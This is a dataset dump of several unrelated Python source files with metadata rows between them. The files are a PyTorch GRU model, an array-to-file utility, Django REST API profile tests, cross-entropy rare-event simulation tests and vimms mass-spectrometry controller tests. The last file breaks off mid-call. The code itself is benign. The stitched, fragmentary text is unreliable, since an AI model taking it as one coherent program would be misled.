init_hx = torch.zeros(1, self.rnn_dim)
if cuda:
init_hx = init_hx.cuda()
self.init_hx = Variable(init_hx, requires_grad=False)
def cuda_after_load(self):
self.init_hx = self.init_hx.cuda()
def forward(self, x, p):
"""
x is [batch_size, 2 * n_nodes, num_features]
p is [batch_size, n_nodes, n_nodes]
"""
batch_size = x.size()[0]
# split x into G1 and G2
g1 = x[:,0:self.n_nodes,:]
g2 = x[:,self.n_nodes:2*self.n_nodes,:]
g1 = F.leaky_relu(self.embedding(g1))
g2 = F.leaky_relu(self.embedding(g2))
# take outer product, result is [batch_size, N, N]
x = torch.bmm(g2, torch.transpose(g1, 2, 1))
x = torch.transpose(x, 0, 1)
init_hx = self.init_hx.unsqueeze(1).repeat(1, batch_size, 1)
h, hidden_state = self.gru(x, init_hx)
# h is [n_nodes, batch_size, rnn_dim]
x = torch.transpose(h, 0, 1)
# result is [batch_size, n_nodes, embedding_dim]
x = F.leaky_relu(self.bn1(self.fc1(x)))
p = F.leaky_relu(self.embedding_bn(self.embed_action(p)))
x = F.leaky_relu(self.bn2(self.combine(x + p)))
out = self.fc2(x)
out = self.fc3(torch.transpose(out, 1, 2))
# out is [batch_size, 1, 1]
return out
| 40.319672
| 99
| 0.594125
| 1,394
| 9,838
| 3.979914
| 0.110473
| 0.061644
| 0.028839
| 0.030281
| 0.835076
| 0.80876
| 0.789654
| 0.719178
| 0.70584
| 0.68385
| 0
| 0.019256
| 0.292641
| 9,838
| 243
| 100
| 40.485597
| 0.777985
| 0.065359
| 0
| 0.673469
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.05102
| null | null | 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
9cfa3aef10415987de48e651bdd68917e8802a13
| 868
|
py
|
Python
|
scripts/exp_scripts/src/logparse/write_array_to_file.py
|
MobilityFirst/GNS
|
1eb5524457e0075dc9f451bd66e39f9291052eb8
|
[
"Apache-2.0"
] | 17
|
2015-11-16T18:02:47.000Z
|
2020-08-02T08:53:11.000Z
|
scripts/exp_scripts/src/logparse/write_array_to_file.py
|
MobilityFirst/GNS
|
1eb5524457e0075dc9f451bd66e39f9291052eb8
|
[
"Apache-2.0"
] | 63
|
2015-12-22T20:52:28.000Z
|
2019-03-06T02:44:20.000Z
|
scripts/exp_scripts/src/logparse/write_array_to_file.py
|
MobilityFirst/GNS
|
1eb5524457e0075dc9f451bd66e39f9291052eb8
|
[
"Apache-2.0"
] | 62
|
2015-11-13T20:04:47.000Z
|
2020-01-10T12:20:44.000Z
|
'''
Created on Mar 5, 2012
@author: abhigyan
'''
import os
def write_array(array,output_file, p = True):
if os.path.dirname(output_file) != '' and not os.path.exists(os.path.dirname(output_file)):
os.system('mkdir -p ' + os.path.dirname(output_file))
fw = open(output_file,'w')
for val in array:
fw.write(str(val)+'\n')
fw.close()
if p :
print "Output File:", output_file
def write_tuple_array(tuple_array, output_file, p=True):
if os.path.dirname(output_file) != '' and not os.path.exists(os.path.dirname(output_file)):
os.system('mkdir -p ' + os.path.dirname(output_file))
fw = open(output_file,'w')
for t in tuple_array:
for val in t:
fw.write(str(val)+'\t')
fw.write('\n')
fw.close()
if p:
print "Output File:", output_file
| 26.30303
| 95
| 0.59447
| 131
| 868
| 3.80916
| 0.274809
| 0.280561
| 0.156313
| 0.228457
| 0.717435
| 0.717435
| 0.717435
| 0.717435
| 0.717435
| 0.717435
| 0
| 0.007716
| 0.253456
| 868
| 32
| 96
| 27.125
| 0.762346
| 0
| 0
| 0.571429
| 0
| 0
| 0.06105
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0.047619
| null | null | 0.095238
| 0
| 0
| 0
| null | 1
| 0
| 1
| 0
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0d1d64a9cd06281da447b0c8a46403ee6b97b7a0
| 6,766
|
py
|
Python
|
src/account/api/tests.py
|
geetesh-gupta/woc
|
a9ca0a30da11008024b4aa941751ef00ba4da53d
|
[
"MIT"
] | 2
|
2018-10-14T06:48:45.000Z
|
2018-10-14T06:51:44.000Z
|
src/account/api/tests.py
|
geetesh-gupta/woc
|
a9ca0a30da11008024b4aa941751ef00ba4da53d
|
[
"MIT"
] | null | null | null |
src/account/api/tests.py
|
geetesh-gupta/woc
|
a9ca0a30da11008024b4aa941751ef00ba4da53d
|
[
"MIT"
] | null | null | null |
from django.test import TestCase
from django.shortcuts import reverse
from rest_framework import status
from account.models import StudentProfile
from account.models import MentorProfile
from django.contrib.auth.models import User
class StudentProfileViewSetTest(TestCase):
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.user = User.objects.create_user(username='student', password='password')
def test_bad_request(self):
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:student-profile-list'))
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_created(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': StudentProfile.GENDER_CHOICES[0][0],
'branch': StudentProfile.BRANCH_CHOICES[0][0],
'year': StudentProfile.YEAR_CHOICES[0][0],
'user': self.user.id
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:student-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_missing_user_id(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': StudentProfile.GENDER_CHOICES[0][0],
'branch': StudentProfile.BRANCH_CHOICES[0][0],
'year': StudentProfile.YEAR_CHOICES[0][0],
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:student-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.content.decode('utf-8'), '{"user":["This field is required."]}')
def test_invalid_user_id(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': StudentProfile.GENDER_CHOICES[0][0],
'branch': StudentProfile.BRANCH_CHOICES[0][0],
'year': StudentProfile.YEAR_CHOICES[0][0],
'user': self.user.id + 12
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:student-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.content.decode('utf-8'), '{"user":["Invalid pk \\"13\\" - object does not exist."]}')
class MentorProfileViewSetTest(TestCase):
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.user = User.objects.create_user(username='mentor', password='password')
def test_bad_request(self):
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:mentor-profile-list'))
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
def test_created(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': MentorProfile.GENDER_CHOICES[0][0],
'user': self.user.id,
'past_experience': 'None',
'about_me': 'Expert'
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:mentor-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_201_CREATED)
def test_missing_user_id(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': MentorProfile.GENDER_CHOICES[0][0],
'past_experience': 'None',
'about_me': 'Expert'
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:mentor-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.content.decode('utf-8'), '{"user":["This field is required."]}')
def test_invalid_user_id(self):
data = {
'phone': 9999999999,
'github': 'https://github.com/abc',
'gender': MentorProfile.GENDER_CHOICES[0][0],
'user': self.user.id + 12,
'past_experience': 'None',
'about_me': 'Expert'
}
self.client.login(username=self.user.username, password='password')
response = self.client.post(reverse('api:account:mentor-profile-list'), data=data)
self.assertEqual(response.status_code, status.HTTP_400_BAD_REQUEST)
self.assertEqual(response.content.decode('utf-8'), '{"user":["Invalid pk \\"13\\" - object does not exist."]}')
class UserViewSetTest(TestCase):
@classmethod
def setUpClass(cls):
super().setUpClass()
cls.user = User.objects.create_user(username='mentor', password='password')
def test_get_current_user(self):
response = self.client.get(reverse('api:account:user-current'))
self.assertEqual(response.status_code, status.HTTP_401_UNAUTHORIZED)
self.client.login(username=self.user.username, password='password')
response = self.client.get(reverse('api:account:user-current'))
self.assertEqual(response.status_code, status.HTTP_200_OK)
def test_user_with_no_profile_type(self):
self.client.login(username=self.user.username, password='password')
response = self.client.get(reverse('api:account:user-profile'))
self.assertEqual(response.status_code, status.HTTP_204_NO_CONTENT)
def test_user_with_mentor_profile(self):
self.client.login(username=self.user.username, password='password')
self.mentor_profile = MentorProfile.objects.create(user=self.user)
response = self.client.get(reverse('api:account:user-profile'))
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.content.decode('utf-8'), '{"type":"mentor-profile","id":%s}' % self.mentor_profile.id)
def test_user_with_student_profile(self):
self.client.login(username=self.user.username, password='password')
self.student_profile = StudentProfile.objects.create(user=self.user)
response = self.client.get(reverse('api:account:user-profile'))
self.assertEqual(response.status_code, status.HTTP_200_OK)
self.assertEqual(response.content.decode('utf-8'),
'{"type":"student-profile","id":%s}' % self.student_profile.id)
| 46.662069
| 120
| 0.659622
| 788
| 6,766
| 5.529188
| 0.120558
| 0.057379
| 0.100298
| 0.086527
| 0.88134
| 0.88134
| 0.88134
| 0.88134
| 0.880422
| 0.879275
| 0
| 0.025277
| 0.198936
| 6,766
| 144
| 121
| 46.986111
| 0.778598
| 0
| 0
| 0.738095
| 0
| 0
| 0.173367
| 0.064883
| 0
| 0
| 0
| 0
| 0.150794
| 1
| 0.119048
| false
| 0.119048
| 0.047619
| 0
| 0.190476
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
|
0
| 8
|
0d4c5168126102934625bd657da3d711b64bcc28
| 10,887
|
py
|
Python
|
ce/ce_test.py
|
travelbureau/RareSim
|
065f7b6f790544bd491ab8c52352d8ab4808fd99
|
[
"MIT"
] | 9
|
2019-01-20T14:51:47.000Z
|
2022-02-06T09:50:19.000Z
|
ce/ce_test.py
|
travelbureau/RareSim
|
065f7b6f790544bd491ab8c52352d8ab4808fd99
|
[
"MIT"
] | 1
|
2021-03-04T04:59:54.000Z
|
2021-03-04T04:59:54.000Z
|
ce/ce_test.py
|
travelbureau/RareSim
|
065f7b6f790544bd491ab8c52352d8ab4808fd99
|
[
"MIT"
] | 3
|
2019-07-20T02:48:07.000Z
|
2021-10-08T02:49:32.000Z
|
def test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0,ic=0):
return .5*(np.sum(np.power(obs_v,2.)+np.power(obs_w,2.)+np.power(obs_x,2.)+np.power(obs_y,2.),0)+np.sum(np.power(obs_gail,2.),0))
def test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0,ic=0):
return obs_x[0,:]
def test_gradient(obs_v,obs_w,obs_x,obs_y,obs_gail,sockets=0):
return obs_v,obs_w,obs_x,obs_y,obs_gail
def test_ce(seed_value):
np.random.seed(seed_value)
num_agents=2
base_v=np.abs(np.random.randn(num_agents,1))
base_w=np.array([[1.8,4.1],[2.1,2.8]])
base_x=np.column_stack((np.random.randn(num_agents),10*np.random.rand(num_agents)))
base_y=np.array([[1.2,2.3],[3.1,1.8]])
print 'base_v'
print base_v
print 'base_w'
print base_w
print 'base_x'
print base_x
print 'base_y'
print base_y
dim_gail=20
mu=5.*np.random.randn(dim_gail)
sigma=np.diag(np.random.rand(dim_gail))
base_gail=np.vstack((mu,sigma))
print 'gail mean'
print mu
lanes=np.array([4,5])
ic=init_conds.init_conds(base_v,base_w,base_x,base_y,base_gail,lanes)
base_mean=np.power(base_v,2.).sum()+2.*num_agents +np.power(base_x[:,0],2.).sum() +np.power(mu,2.).sum()
levels_mult=np.array([1.,3.,5.,10.])
print 'levels'
print levels_mult*base_mean
sample_size=np.int(1000000.)
num_iter=100
save_iter=(np.array([30,70,100])-1).astype(int)
rho=.95
alpha=.9
ce_sample_size=5000
ns_naive=sample_size+np.int(ce_sample_size*(save_iter[-1]+1))
obs_v=ic.sample_obs(ic.model_v,ic.nat_base_v,ns_naive)
obs_w=ic.sample_obs(ic.model_w,ic.nat_base_w,ns_naive)
obs_x=ic.sample_obs(ic.model_x,ic.nat_base_x,ns_naive)
obs_y=ic.sample_obs(ic.model_y,ic.nat_base_y,ns_naive)
obs_gail=ic.sample_obs(ic.model_gail,ic.nat_base_gail,ns_naive,if_gail=True)
objs_naive=test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,0.)
objs_ce=np.empty((save_iter.size,sample_size))
like_ratio=np.empty((save_iter.size,sample_size))
sample_sizes=np.full(num_iter,ce_sample_size).astype(int)
step_sizes=np.full(num_iter,alpha)
all_nat_param_v,all_nat_param_w,all_nat_param_x, all_nat_param_y,all_nat_param_gail =cross_entropy(ic,rho,levels_mult[-1]*base_mean,num_iter,save_iter,sample_sizes,step_sizes,test_objective)
counter=0
for num_iter in save_iter:
print '----------------------- Processing '+str(num_iter+1) +' -------------------'
obs_v=ic.sample_obs(ic.model_v,all_nat_param_v[counter,:],sample_size)
obs_w=ic.sample_obs(ic.model_w,all_nat_param_w[counter,:],sample_size)
obs_x=ic.sample_obs(ic.model_x,all_nat_param_x[counter,:],sample_size)
obs_y=ic.sample_obs(ic.model_y,all_nat_param_y[counter,:],sample_size)
obs_gail=ic.sample_obs(ic.model_gail,all_nat_param_gail[counter,:],sample_size,if_gail=True)
objs_ce[counter,:]=test_objective(obs_v,obs_w,obs_x,obs_y,obs_gail,0.)
print 'mean_ce'
print np.mean(objs_ce[counter,:])
like_ratio_v,like_ratio_w,like_ratio_x,like_ratio_y,like_ratio_gail =ic.compute_like_ratio(obs_v,obs_w,obs_x,obs_y,obs_gail,all_nat_param_v[counter,:],all_nat_param_w[counter,:],all_nat_param_x[counter,:],all_nat_param_y[counter,:],all_nat_param_gail[counter,:])
like_ratio[counter,:]=like_ratio_v*like_ratio_w*like_ratio_x *like_ratio_y*like_ratio_gail
print '---------------- nat_param ---------------------'
print 'all_nat_param_v'
print all_nat_param_v[counter,:]
print 'all_nat_param_w'
print all_nat_param_w[counter,:]
print 'all_nat_param_x'
print all_nat_param_x[counter,:]
print 'all_nat_param_y'
print all_nat_param_y[counter,:]
counter+=1
est_naive=np.empty((levels_mult.size,save_iter.size))
std_naive=np.empty((levels_mult.size,save_iter.size))
est_ce=np.empty((levels_mult.size,save_iter.size))
std_ce=np.empty((levels_mult.size,save_iter.size))
num_events_naive=np.zeros((levels_mult.size,save_iter.size))
num_events_ce=np.zeros((levels_mult.size,save_iter.size))
for ii in xrange(levels_mult.size):
level=base_mean*levels_mult[ii]
objs_naive_level=(objs_naive>level).astype(float)
for jj in xrange(save_iter.size):
ns_naive =np.minimum(np.int((save_iter[jj]+1)*ce_sample_size),sample_size)
est_naive[ii,jj]=np.mean(objs_naive_level[:ns_naive])
std_naive[ii,jj]=np.std(objs_naive_level[:ns_naive])
num_events_naive[ii,jj]=np.sum(objs_naive_level[:ns_naive])
objs_ce_level=like_ratio[jj,:] *(objs_ce[jj,:]>level).astype(float)
est_ce[ii,jj]=np.mean(objs_ce_level[:sample_size])
std_ce[ii,jj]=np.std(objs_ce_level[:sample_size])
num_events_ce[ii,jj]=np.sum(objs_ce[jj,:]>level)
filename=os.getcwd()+'/rho='+str(rho)+'_alpha='+str(alpha) +'_cesample='+str(ce_sample_size)+'.h5'
with h5py.File(filename,'w')as f:
f.create_dataset('levels_mult',data=levels_mult)
f.create_dataset('save_iter',data=save_iter)
f.create_dataset('rho',data=rho)
f.create_dataset('alpha',data=alpha)
f.create_dataset('ce_sample_size',data=ce_sample_size)
f.create_dataset('all_nat_param_v',data=all_nat_param_v)
f.create_dataset('all_nat_param_w',data=all_nat_param_w)
f.create_dataset('all_nat_param_x',data=all_nat_param_x)
f.create_dataset('all_nat_param_y',data=all_nat_param_y)
f.create_dataset('all_nat_param_gail',data=all_nat_param_gail)
f.create_dataset('base_v',data=base_v)
f.create_dataset('base_w',data=base_w)
f.create_dataset('base_x',data=base_x)
f.create_dataset('base_y',data=base_y)
f.create_dataset('base_gail',data=base_gail)
f.create_dataset('objs_naive',data=objs_naive)
f.create_dataset('objs_ce',data=objs_ce)
f.create_dataset('like_ratio_ce',data=like_ratio)
return est_naive,std_naive,est_ce,std_ce, num_events_naive,num_events_ce
def test_ce_simple(seed_value):
np.random.seed(seed_value)
num_agents=2
base_v=np.abs(np.random.randn(num_agents,1))
base_w=np.array([[1.8,4.1],[2.1,2.8]])
base_x=np.column_stack((np.random.randn(num_agents),10*np.random.rand(num_agents)))
base_y=np.array([[1.2,2.3],[3.1,1.8]])
print 'base_v'
print base_v
print 'base_w'
print base_w
print 'base_x'
print base_x
print 'base_y'
print base_y
dim_gail=20
mu=5.*np.random.randn(dim_gail)
sigma=np.diag(np.random.rand(dim_gail))
base_gail=np.vstack((mu,sigma))
print 'gail mean'
print mu
lanes=np.array([4,5])
ic=init_conds.init_conds(base_v,base_w,base_x,base_y,base_gail,lanes)
base_mean=np.abs(base_x[0,0])
levels_mult=np.array([2.,10.,14.,18.])
print 'levels'
print levels_mult*base_mean
sample_size=np.int(1000000.)
num_iter=100
save_iter=(np.array([30,70,100])-1).astype(int)
rho=.9
alpha=.9
ce_sample_size=10000
ns_naive=sample_size+np.int(ce_sample_size*(save_iter[-1]+1))
obs_v=ic.sample_obs(ic.model_v,ic.nat_base_v,ns_naive)
obs_w=ic.sample_obs(ic.model_w,ic.nat_base_w,ns_naive)
obs_x=ic.sample_obs(ic.model_x,ic.nat_base_x,ns_naive)
obs_y=ic.sample_obs(ic.model_y,ic.nat_base_y,ns_naive)
obs_gail=ic.sample_obs(ic.model_gail,ic.nat_base_gail,ns_naive,if_gail=True)
objs_naive=test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,0.)
objs_ce=np.empty((save_iter.size,sample_size))
like_ratio=np.empty((save_iter.size,sample_size))
sample_sizes=np.full(num_iter,ce_sample_size).astype(int)
step_sizes=np.full(num_iter,alpha)
all_nat_param_v,all_nat_param_w,all_nat_param_x, all_nat_param_y,all_nat_param_gail =cross_entropy(ic,rho,levels_mult[-1]*base_mean,num_iter,save_iter,sample_sizes,step_sizes,test_objective_simple)
print 'full likelihoods'
counter=0
for num_iter in save_iter:
print '----------------------- Processing '+str(num_iter+1) +' -------------------'
obs_v=ic.sample_obs(ic.model_v,all_nat_param_v[counter,:],sample_size)
obs_w=ic.sample_obs(ic.model_w,all_nat_param_w[counter,:],sample_size)
obs_x=ic.sample_obs(ic.model_x,all_nat_param_x[counter,:],sample_size)
obs_y=ic.sample_obs(ic.model_y,all_nat_param_y[counter,:],sample_size)
obs_gail=ic.sample_obs(ic.model_gail,all_nat_param_gail[counter,:],sample_size,if_gail=True)
objs_ce[counter,:]=test_objective_simple(obs_v,obs_w,obs_x,obs_y,obs_gail,0.)
print 'mean_ce'
print np.mean(objs_ce[counter,:])
like_ratio_v,like_ratio_w,like_ratio_x,like_ratio_y,like_ratio_gail =ic.compute_like_ratio(obs_v,obs_w,obs_x,obs_y,obs_gail,all_nat_param_v[counter,:],all_nat_param_w[counter,:],all_nat_param_x[counter,:],all_nat_param_y[counter,:],all_nat_param_gail[counter,:])
like_ratio[counter,:]=like_ratio_v*like_ratio_w*like_ratio_x *like_ratio_y*like_ratio_gail
print '---------------- nat_param ---------------------'
print 'all_nat_param_v'
print all_nat_param_v[counter,:]
print 'all_nat_param_w'
print all_nat_param_w[counter,:]
print 'all_nat_param_x'
print all_nat_param_x[counter,:]
print 'all_nat_param_y'
print all_nat_param_y[counter,:]
counter+=1
est_naive=np.empty((levels_mult.size,save_iter.size))
std_naive=np.empty((levels_mult.size,save_iter.size))
est_ce=np.empty((levels_mult.size,save_iter.size))
std_ce=np.empty((levels_mult.size,save_iter.size))
num_events_naive=np.zeros((levels_mult.size,save_iter.size))
num_events_ce=np.zeros((levels_mult.size,save_iter.size))
actual=np.empty(levels_mult.size)
for ii in xrange(levels_mult.size):
level=base_mean*levels_mult[ii]
objs_naive_level=(objs_naive>level).astype(float)
actual[ii]=1-stats.norm.cdf((level-base_x[0,0])/np.sqrt(base_x[0,1]))
for jj in xrange(save_iter.size):
ns_naive =np.minimum(np.int((save_iter[jj]+1)*ce_sample_size),sample_size)
est_naive[ii,jj]=np.mean(objs_naive_level[:ns_naive])
std_naive[ii,jj]=np.std(objs_naive_level[:ns_naive])
num_events_naive[ii,jj]=np.sum(objs_naive_level[:ns_naive])
objs_ce_level=like_ratio[jj,:] *(objs_ce[jj,:]>level).astype(float)
est_ce[ii,jj]=np.mean(objs_ce_level[:sample_size])
std_ce[ii,jj]=np.std(objs_ce_level[:sample_size])
num_events_ce[ii,jj]=np.sum(objs_ce[jj,:]>level)
filename=os.getcwd()+'/rho='+str(rho)+'_alpha='+str(alpha) +'_cesample='+str(ce_sample_size)+'.h5'
with h5py.File(filename,'w')as f:
f.create_dataset('levels_mult',data=levels_mult)
f.create_dataset('save_iter',data=save_iter)
f.create_dataset('rho',data=rho)
f.create_dataset('alpha',data=alpha)
f.create_dataset('ce_sample_size',data=ce_sample_size)
f.create_dataset('all_nat_param_v',data=all_nat_param_v)
f.create_dataset('all_nat_param_w',data=all_nat_param_w)
f.create_dataset('all_nat_param_x',data=all_nat_param_x)
f.create_dataset('all_nat_param_y',data=all_nat_param_y)
f.create_dataset('all_nat_param_gail',data=all_nat_param_gail)
f.create_dataset('base_v',data=base_v)
f.create_dataset('base_w',data=base_w)
f.create_dataset('base_x',data=base_x)
f.create_dataset('base_y',data=base_y)
f.create_dataset('base_gail',data=base_gail)
f.create_dataset('objs_naive',data=objs_naive)
f.create_dataset('objs_ce',data=objs_ce)
f.create_dataset('like_ratio_ce',data=like_ratio)
return est_naive,std_naive,est_ce,std_ce, num_events_naive,num_events_ce,actual
# Created by pyminifier (https://github.com/liftoff/pyminifier)
| 48.172566
| 264
| 0.768072
| 2,120
| 10,887
| 3.567453
| 0.060377
| 0.071929
| 0.095994
| 0.034378
| 0.952664
| 0.94169
| 0.94169
| 0.94169
| 0.94169
| 0.94169
| 0
| 0.015676
| 0.06246
| 10,887
| 225
| 265
| 48.386667
| 0.725287
| 0.005603
| 0
| 0.878924
| 0
| 0
| 0.078721
| 0.008131
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 0.219731
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 8
|
0d4e79de7f4cf2996b538bf9d4cb0c812bedbdaa
| 26,674
|
py
|
Python
|
tests/test_controllers_roi.py
|
hechth/vimms
|
ce5922578cf225d46cb285da8e7af97b5321f5aa
|
[
"MIT"
] | 11
|
2019-07-11T09:19:18.000Z
|
2021-03-07T08:44:36.000Z
|
tests/test_controllers_roi.py
|
hechth/vimms
|
ce5922578cf225d46cb285da8e7af97b5321f5aa
|
[
"MIT"
] | 159
|
2019-12-11T14:41:40.000Z
|
2021-03-31T19:47:08.000Z
|
tests/test_controllers_roi.py
|
hechth/vimms
|
ce5922578cf225d46cb285da8e7af97b5321f5aa
|
[
"MIT"
] | 4
|
2019-10-09T18:42:49.000Z
|
2020-07-10T14:21:59.000Z
|
from loguru import logger
from tests.conftest import N_CHEMS, MIN_MS1_INTENSITY, get_rt_bounds, CENTRE_RANGE, run_environment, \
check_non_empty_MS2, check_mzML, OUT_DIR, BEER_CHEMS, BEER_MIN_BOUND, BEER_MAX_BOUND
from vimms.Box import LocatorGrid, IdentityDrift, AllOverlapGrid
from vimms.Common import POSITIVE, ROI_EXCLUSION_WEIGHTED_DEW
from vimms.Controller import TopN_RoiController, TopN_SmartRoiController, NonOverlapController, \
IntensityNonOverlapController, FlexibleNonOverlapController, RoiBuilder
from vimms.Environment import Environment
from vimms.GridEstimator import GridEstimator
from vimms.MassSpec import IndependentMassSpectrometer
class TestROIController:
"""
Tests the ROI controller that performs fragmentations and dynamic exclusions based on selecting regions of interests
(rather than the top-N most intense peaks)
"""
def test_roi_controller_with_simulated_chems(self, fragscan_dataset):
logger.info('Testing ROI controller with simulated chemicals')
assert len(fragscan_dataset) == N_CHEMS
for f in fragscan_dataset:
assert len(f.children) > 0
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 50
min_roi_length = 2
ionisation_mode = POSITIVE
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset)
controller = TopN_RoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, rt_tol)
# create an environment to run both the mass spec and controller
min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE)
env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'roi_controller_simulated_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_roi_controller_with_beer_chems(self):
logger.info('Testing ROI controller with QC beer chemicals')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
controller = TopN_RoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, rt_tol)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'roi_controller_qcbeer_chems.mzML'
check_mzML(env, OUT_DIR, filename)
class TestSMARTROIController:
"""
Tests the ROI controller that performs fragmentations and dynamic exclusions based on selecting regions of interests
(rather than the top-N most intense peaks)
"""
def test_smart_roi_controller_with_simulated_chems(self, fragscan_dataset):
logger.info('Testing ROI controller with simulated chemicals')
assert len(fragscan_dataset) == N_CHEMS
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 50
min_roi_length = 0
ionisation_mode = POSITIVE
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset)
controller = TopN_SmartRoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, rt_tol,
min_roi_length_for_fragmentation=0)
# create an environment to run both the mass spec and controller
min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE)
env = Environment(mass_spec, controller, min_bound, max_bound, progress_bar=True)
run_environment(env)
assert len(controller.scans[2]) > 0
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'smart_roi_controller_simulated_chems.mzML'
check_mzML(env, OUT_DIR, filename)
def test_smart_roi_controller_with_beer_chems(self):
logger.info('Testing ROI controller with QC beer chemicals')
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 5000
min_roi_length = 10
ionisation_mode = POSITIVE
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, BEER_CHEMS)
controller = TopN_SmartRoiController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, rt_tol)
# create an environment to run both the mass spec and controller
env = Environment(mass_spec, controller, BEER_MIN_BOUND, BEER_MAX_BOUND, progress_bar=True)
run_environment(env)
# check that there is at least one non-empty MS2 scan
check_non_empty_MS2(controller)
# write simulated output to mzML file
filename = 'smart_controller_qcbeer_chems.mzML'
check_mzML(env, OUT_DIR, filename)
class TestNonOverlapController:
def test_nonoverlap_controller_with_simulated_chems(self, fragscan_dataset):
logger.info('Testing non-overlap controller with simulated chemicals')
assert len(fragscan_dataset) == N_CHEMS
isolation_width = 1 # the isolation window in Dalton around a selected precursor ion
N = 10
rt_tol = 15
mz_tol = 10
min_roi_intensity = 50
min_roi_length = 0
ionisation_mode = POSITIVE
min_bound, max_bound = get_rt_bounds(fragscan_dataset, CENTRE_RANGE)
rt_box_size, mz_box_size = 1, 0.3
# create a simulated mass spec with noise and ROI controller
mass_spec = IndependentMassSpectrometer(ionisation_mode, fragscan_dataset)
grid = GridEstimator(LocatorGrid(min_bound, max_bound, rt_box_size, 0, 3000, mz_box_size), IdentityDrift())
controller = NonOverlapController(ionisation_mode, isolation_width, mz_tol, MIN_MS1_INTENSITY,
min_roi_intensity, min_roi_length, N, grid,
